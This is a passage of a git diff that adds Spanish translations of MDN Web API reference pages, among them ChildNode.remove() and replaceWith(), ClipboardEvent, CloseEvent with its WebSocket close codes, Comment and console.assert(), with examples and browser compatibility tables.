+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>remove()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(23)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/childnode/remove/index.html b/files/es/web/api/childnode/remove/index.html
new file mode 100644
index 0000000000..90aab3d869
--- /dev/null
+++ b/files/es/web/api/childnode/remove/index.html
@@ -0,0 +1,94 @@
+---
+title: ChildNode.remove()
+slug: Web/API/ChildNode/remove
+tags:
+  - API
+  - ChildNode
+  - DOM
+  - Experimental
+  - metodo
+translation_of: Web/API/ChildNode/remove
+---
+<p><span id="result_box" lang="es"><span>{{APIRef ( "DOM")}}</span><br>
+ <span>El método<strong> ChildNode.remove ( ) </strong>elimina el objeto del árbol al que pertenece.</span></span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>node</em>.remove();
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Utilizando_remove">Utilizando <code>remove()</code></h3>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;Este es el div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Este es el div-02&lt;/div&gt;
+&lt;div id="div-03"&gt;Este es el div-03&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var el = document.getElementById('div-02');
+el.nextElementSibling.remove(); // Elimina el div con el id 'div-03'
+</pre>
+
+<h3 id="ChildNode.remove_es_unscopable"><code>ChildNode.remove()</code> es unscopable</h3>
+
+<p><span id="result_box" lang="es"><span>El método <code>remove()</code> no está definido en el contexto de las declaración <code>with</code>.</span> <span>Consulte {{jsxref ("Symbol.unscopables")}} para obtener más información.</span></span></p>
+
+<pre class="brush: js">with(node) {
+  remove();
+}
+// ReferenceError: remove is not defined </pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>El código a continuación es un polyfill del método <code>remove()</code> para Internet Explorer 9 y superiores:</p>
+
+<pre class="brush: js">// from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('remove')) {
+      return;
+    }
+    Object.defineProperty(item, 'remove', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function remove() {
+        if (this.parentNode !== null)
+          this.parentNode.removeChild(this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_navegadores">Compatibilidad en los navegadores</h2>
+
+<div>
+<p>{{Compat("api.ChildNode.remove")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="es"><span>La interfaz pura {{domxref ( "ChildNode")}} .</span></span></li>
+ <li>
+  <div class="syntaxbox"><span id="result_box" lang="es"><span>Tipos de objetos que implementan esta interfaz pura: {{domxref ( "CharacterData")}}, {{domxref ( "Elemento")}} y {{domxref ( "DocumentType")}}.</span></span></div>
+ </li>
+</ul>
diff --git a/files/es/web/api/childnode/replacewith/index.html b/files/es/web/api/childnode/replacewith/index.html
new file mode 100644
index 0000000000..32f78b7e4e
--- /dev/null
+++ b/files/es/web/api/childnode/replacewith/index.html
@@ -0,0 +1,141 @@
+---
+title: ChildNode.replaceWith()
+slug: Web/API/ChildNode/replaceWith
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Nodo
+  - Referencia
+  - metodo
+translation_of: Web/API/ChildNode/replaceWith
+---
+<p><span id="result_box" lang="es"><span>{{APIRef ( "DOM")}} {{SeeCompatTable}}</span><br>
+ <br>
+ <span>El método <strong>ChildNode.replaceWith () </strong>reemplaza este ChildNode en la lista de hijos de su padre con un conjunto de objetos {{domxref ( "Node")}} o {{domxref ( "DOMString")}}.</span> <span>Los objetos {{domxref ( "DOMString")}} se insertan como nodos equivalentes {{domxref ( "Text")}}.</span></span></p>
+
+<p> </p>
+
+<h2 id="Síntasix">Síntasix</h2>
+
+<p> </p>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ChildNode.replaceWith((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>nodos</code></dt>
+ <dd><span id="result_box" lang="es"><span>Un conjunto de objetos {{domxref ( "Node")}} o {{domxref ( "DOMString")}} para reemplazar.</span></span></dd>
+</dl>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<ul>
+ <li><span id="result_box" lang="es"><span>{{Domxref ( "HierarchyRequestError")}}: No se puede insertar nodo en el punto especificado de la jerarquía.</span></span></li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_replaceWith()">Utilizando <code>replaceWith()</code></h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.replaceWith(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="ChildNode.replaceWith()_es_unscopable"><code>ChildNode.replaceWith()</code> es unscopable</h3>
+
+<p><span id="result_box" lang="es"><span>El método replaceWith () no está incluido en la declaracion <em><code>with</code>.</em></span> <span>Consulte {{jsxref ( "Symbol.unscopables")}} para obtener más información.</span></span></p>
+
+<pre class="brush: js">with(node) {
+  replaceWith("foo");
+}
+// ReferenceError: replaceWith is not defined </pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_Navegadores">Compatibilidad en los Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} and {{domxref("ParentNode")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/es/web/api/clipboardevent/clipboarddata/index.html b/files/es/web/api/clipboardevent/clipboarddata/index.html
new file mode 100644
index 0000000000..547b2d1f9e
--- /dev/null
+++ b/files/es/web/api/clipboardevent/clipboarddata/index.html
@@ -0,0 +1,58 @@
+---
+title: ClipboardEvent.clipboardData
+slug: Web/API/ClipboardEvent/clipboardData
+tags:
+  - API
+  - Clipboard API
+  - Experimental
+  - Portapapeles
+  - Solo lectura
+  - metodo
+translation_of: Web/API/ClipboardEvent/clipboardData
+---
+<p>{{ apiref("Clipboard API") }} {{SeeCompatTable}}</p>
+
+<p>La propiedad <code><strong>ClipboardEvent.clipboardData</strong></code>, del tipo {{domxref("DataTransfer")}}, puede ser usuada:</p>
+
+<ul>
+ <li>Para especificar qué datos mover al portapapeles cuando se produzcan los eventos {{event("cut")}} y {{event("copy")}}, normalmente a través de {{domxref("DataTransfer.setData", "setData(format, data)")}};</li>
+ <li>Para obtener la información del portapapeles a ser pegada cuando se produce el evento {{event("paste")}}, normalmente a través de {{domxref("DataTransfer.getData", "getData(format)")}}.</li>
+</ul>
+
+<p>Para más información, mira la documentación de los eventos {{event("cut")}}, {{event("copy")}}, y {{event("paste")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>data</em> = <em>ClipboardEvent</em>.clipboardData</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Clipboard API', '#widl-ClipboardEvent-clipboardData', 'ClipboardEvent.clipboardData') }}</td>
+   <td>{{ Spec2('Clipboard API') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.ClipboardEvent.clipboardData")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otros eventos del portapapeles: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+ <li>La interfaz base: {{domxref("ClipboardEvent")}}.</li>
+</ul>
diff --git a/files/es/web/api/clipboardevent/index.html b/files/es/web/api/clipboardevent/index.html
new file mode 100644
index 0000000000..332846c031
--- /dev/null
+++ b/files/es/web/api/clipboardevent/index.html
@@ -0,0 +1,67 @@
+---
+title: ClipboardEvent
+slug: Web/API/ClipboardEvent
+tags:
+  - API
+  - Clipboard API
+  - Event
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/ClipboardEvent
+---
+<p>{{APIRef("Clipboard API")}} {{SeeCompatTable}}</p>
+
+<p>The <strong><code>ClipboardEvent</code></strong> interface represents events providing information related to modification of the clipboard, that is {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} events.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt>
+ <dd>Creates a <code>ClipboardEvent</code> event with the given parameters.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Also inherits properties from its parent {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DataTransfer")}} object containing the data affected by the user-initiated {{event("cut")}}, {{event("copy")}}, or {{event("paste")}} operation, along with its MIME type.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>No specific methods; inherits methods from its parent {{domxref("Event")}}</em>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}</td>
+   <td>{{ Spec2('Clipboard API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ClipboardEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Copy-related events: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+</ul>
diff --git a/files/es/web/api/closeevent/index.html b/files/es/web/api/closeevent/index.html
new file mode 100644
index 0000000000..f92dd84d16
--- /dev/null
+++ b/files/es/web/api/closeevent/index.html
@@ -0,0 +1,237 @@
+---
+title: CloseEvent
+slug: Web/API/CloseEvent
+translation_of: Web/API/CloseEvent
+---
+<p>{{APIRef("Websockets API")}}</p>
+
+<p>Un <code>CloseEvent</code> se envia a los clientes usando {{Glossary("WebSockets")}} cuando la conexión esta cerrada. Esto se entrega al que escucha indicado por el atributo <code>onclose</code> del objeto <code>WebSocket.</code></p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("CloseEvent.CloseEvent", "CloseEvent()")}}</dt>
+ <dd>Crear un nuevo <code>CloseEvent</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interface tambien hereda propiedades de su padre, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CloseEvent.code")}} {{readOnlyInline}}</dt>
+ <dd>Devuelve un <code>unsigned short</code> que contienen el código de cierre enviado por el servidor. Los siguientes valores son los codigos de estado permitidos. Las siguientes definiciones vienen del sitio web de IANA [<a href="https://www.iana.org/assignments/websocket/websocket.xml#close-code-number">Ref</a>].
+ <table class="standard-table" id="Status_codes">
+  <tbody>
+   <tr>
+    <td class="header">Status code</td>
+    <td class="header">Name</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>0</code>–<code>999</code></td>
+    <td></td>
+    <td><strong>Reserved and not used.</strong></td>
+   </tr>
+   <tr>
+    <td><code>1000</code></td>
+    <td>Cierre Normal</td>
+    <td>Cierre normal; La conexion se completo con exito cualquiera sea el proposito para el cual fue creado.</td>
+   </tr>
+   <tr>
+    <td><code>1001</code></td>
+    <td>Going Away</td>
+    <td>El punto final se fue(desaparecio), ya sea por una falla en el servidor o por que el navegador esta navegando fuera de la página que abrio la conexión.</td>
+   </tr>
+   <tr>
+    <td><code>1002</code></td>
+    <td>Error de Protocolo</td>
+    <td>El punto final esta terminando la conexion debido a un error en el protocolo. </td>
+   </tr>
+   <tr>
+    <td><code>1003</code></td>
+    <td>Datos no soportadors</td>
+    <td>La conexión esta siendo terminada  por que el punto final recibio daros de un tipo que acepta o soportar (por ejemplo, está esperando un solo texto y el punto final recibio datos binarios).</td>
+   </tr>
+   <tr>
+    <td><code>1004</code></td>
+    <td></td>
+    <td><strong>Reservado.</strong> Un signinficado se podria definir en un futuro.</td>
+   </tr>
+   <tr>
+    <td><code>1005</code></td>
+    <td>Estado no recibido. </td>
+    <td><strong>Reservado.</strong>  Indica que no se proporciono ningún código de estado aunque se esperaba uno.</td>
+   </tr>
+   <tr>
+    <td><code>1006</code></td>
+    <td>Cierre anormal</td>
+    <td><strong>Reservado.</strong> Se usa para indicar que una conexion fue cerrada de forma anormal (es decir, sin que se envie un frame cerrado with no close frame being sent) when a status code is expected.</td>
+   </tr>
+   <tr>
+    <td><code>1007</code></td>
+    <td>Invalid frame payload data</td>
+    <td>The endpoint is terminating the connection because a message was received that contained inconsistent data (e.g., non-UTF-8 data within a text message).</td>
+   </tr>
+   <tr>
+    <td><code>1008</code></td>
+    <td>Violación de politica</td>
+    <td>The endpoint is terminating the connection because it received a message that violates its policy. This is a generic status code, used when codes 1003 and 1009 are not suitable.</td>
+   </tr>
+   <tr>
+    <td><code>1009</code></td>
+    <td>Mensaje muy grande</td>
+    <td>The endpoint is terminating the connection because a data frame was received that is too large.</td>
+   </tr>
+   <tr>
+    <td><code>1010</code></td>
+    <td>Extensión faltante.</td>
+    <td>The client is terminating the connection because it expected the server to negotiate one or more extension, but the server didn't.</td>
+   </tr>
+   <tr>
+    <td><code>1011</code></td>
+    <td>Error interno</td>
+    <td>The server is terminating the connection because it encountered an unexpected condition that prevented it from fulfilling the request.</td>
+   </tr>
+   <tr>
+    <td><code>1012</code></td>
+    <td>Reinicio de servicio</td>
+    <td>El servidor esta terminado la conexion porque esta reiniciando. [<a href="https://www.ietf.org/mail-archive/web/hybi/current/msg09670.html">Ref</a>]</td>
+   </tr>
+   <tr>
+    <td><code>1013</code></td>
+    <td>Trate mas tarde nuevamente</td>
+    <td>The server is terminating the connection due to a temporary condition, e.g. it is overloaded and is casting off some of its clients. [<a href="https://www.ietf.org/mail-archive/web/hybi/current/msg09670.html">Ref</a>]</td>
+   </tr>
+   <tr>
+    <td><code>1014</code></td>
+    <td>Bad Gateway</td>
+    <td>The server was acting as a gateway or proxy and received an invalid response from the upstream server. This is similar to 502 HTTP Status Code.</td>
+   </tr>
+   <tr>
+    <td><code>1015</code></td>
+    <td>TLS Saludo</td>
+    <td><strong>Reserved.</strong> Indicates that the connection was closed due to a failure to perform a TLS handshake (e.g., the server certificate can't be verified).</td>
+   </tr>
+   <tr>
+    <td><code>1016</code>–<code>1999</code></td>
+    <td></td>
+    <td><strong>Reservado para futuro uso del estandar WebSocket.</strong></td>
+   </tr>
+   <tr>
+    <td><code>2000</code>–<code>2999</code></td>
+    <td></td>
+    <td><strong>Reservado para uso de extensiones WebSocket .</strong></td>
+   </tr>
+   <tr>
+    <td><code>3000</code>–<code>3999</code></td>
+    <td></td>
+    <td>Available for use by libraries and frameworks. <strong>May not</strong> be used by applications. Available for registration at the IANA via first-come, first-serve.</td>
+   </tr>
+   <tr>
+    <td><code>4000</code>–<code>4999</code></td>
+    <td></td>
+    <td>Disponible para uso de aplicaciones.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("CloseEvent.reason")}} {{readOnlyInline}}</dt>
+ <dd>Retorna un {{domxref("DOMString")}} indicando la razon por que el servidor cerro la conexión. Esto es especifico para el servidor  y sub-protocolo en particular. </dd>
+ <dt>{{domxref("CloseEvent.wasClean")}} {{readOnlyInline}}</dt>
+ <dd>Retorna un {{jsxref("Boolean")}} que indica si o no la conexion fue cerrada limpiamente.</dd>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<p><em>Esta interface tambien hereda metodos de su padre, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CloseEvent.initCloseEvent()")}} {{Non-standard_inline}} {{Obsolete_inline}}</dt>
+ <dd>Inicializa el valor de un <code>CloseEvent</code> creado. Si el evento ya ha sido enviado, este método no funciona. No use más este método, use el {{domxref("CloseEvent.CloseEvent", "CloseEvent()")}} constructor en su lugar.</dd>
+</dl>
+
+<h2 id="Compatibilidad_entre_Navegadores">Compatibilidad entre Navegadores </h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("8.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("12.0")}}<sup>[2]</sup></td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>initCloseEvent</code><code>()</code> {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("8.0")}}<br>
+    {{CompatNo}} 41.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>initCloseEvent</code><code>()</code> {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}<br>
+    {{CompatNo}} 41.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 8.0 {{geckoRelease("8.0")}}, Gecko sent the WebSocket {{event("close")}} event to the listener as a simple event. Support for <code>CloseEvent</code> was implemented in Gecko 8.0.</p>
+
+<p>[2] Prior to Gecko 12.0 {{geckoRelease("12.0")}}, Gecko reported the close code <code>CLOSE_NORMAL</code> when the channel was closed due to an unexpected error, or if it was closed due to an error condition that the specification doesn't cover. Now <code>CLOSE_GOING_AWAY</code> is reported instead.</p>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSocket"><code>WebSocket</code></a></li>
+</ul>
diff --git a/files/es/web/api/comment/index.html b/files/es/web/api/comment/index.html
new file mode 100644
index 0000000000..b1c6a89de9
--- /dev/null
+++ b/files/es/web/api/comment/index.html
@@ -0,0 +1,75 @@
+---
+title: Comment
+slug: Web/API/Comment
+tags:
+  - API
+  - DOM
+  - Referências
+  - comentários
+translation_of: Web/API/Comment
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><span class="seoSummary">La interfaz <code><strong>Comment</strong></code> representa las anotaciones y comentarios dentro del código fuente; aunque generalmente no se muestran visualmente en el navegador, dichos comentarios están disponibles para ser leídos en la<strong> <a href="/es/docs/Tools/View_source">vista de código</a></strong>.<br>
+ Los comentarios se representan en HTML y XML como contenido entre '&lt;!--' y '--&gt;'. En XML, la secuencia de caracteres '--' no se puede usar dentro de un comentario.</span></p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interfaz no tiene ninguna propiedad específica, pero hereda las de su padre,{{domxref("CharacterData")}}, e indirectamente los de {{domxref("Node")}}.</em></p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{ domxref("Comment.Comment()", "Comment()") }} {{experimental_inline}}</dt>
+ <dd>Devuelve un objeto <code>Comment</code> con el contenido del comentario como parámetro.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Esta interfaz no tiene ninguna propiedad específica, pero hereda las de su padre,{{domxref("CharacterData")}}, e indirectamente los de {{domxref("Node")}}.</em></p>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#comment', 'Comment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Agregado el constructor.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambios de {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sin cambios de {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("api.Comment")}}</p>
+
+<h2 id="Lea_también">Lea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">Índice de interfaces DOM</a></li>
+</ul>
diff --git a/files/es/web/api/console/assert/index.html b/files/es/web/api/console/assert/index.html
new file mode 100644
index 0000000000..b57d21a2aa
--- /dev/null
+++ b/files/es/web/api/console/assert/index.html
@@ -0,0 +1,140 @@
+---
+title: Console.assert()
+slug: Web/API/console/assert
+tags:
+  - API
+  - Consola
+  - DOM
+  - Debug
+  - Debugging
+  - Gecko DOM Referencia
+  - Métodos
+  - afirmación
+  - consola web
+translation_of: Web/API/console/assert
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p>Aparece un mensaje de error en la consola si la afirmación es falsa. Si la afirmación es verdadera, no aparecerá nada.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>Nota: </strong>El método <code>console.assert()</code> se implementa de diferente manera en Node.js que el mismo método disponible en los navegadores.</p>
+
+<p>En los navegadores, llamando <code>console.assert()</code> con una falsa afirmación hará que el <code>message</code> se imprima por consola sin interrumpir la ejecución del código posterior. En Node.js, sin embargo, una falsa afirmación lanzará un <code>AssertionError</code>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.assert(<em>afirmación</em>, <em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.assert(<em>afirmación</em>, <em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>afirmación</code></dt>
+ <dd>Cualquier expresión booleana.Si la afirmación es falsa, el mensaje aparecerá en consola.</dd>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Salida de una lista de objetos de  JavaScript. Las representaciones de cadena de cada uno de estos objetos se añaden juntos en el orden y salida indicados.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Una cadena de JavaScript que contiene cero o más cadenas de sustitución.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Objetos de JavaScript con el que reemplaza las cadenas dentro de <code>msg</code>. Esto te da más control sobre el formato de salida.</dd>
+</dl>
+
+<p>Para más detalles ver <a href="/en-US/docs/Web/API/console#Outputting_text_to_the_console">Salida de texto a la consola</a> en la documentación de {{domxref("console")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoleassertexpression-object", "console.assert()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
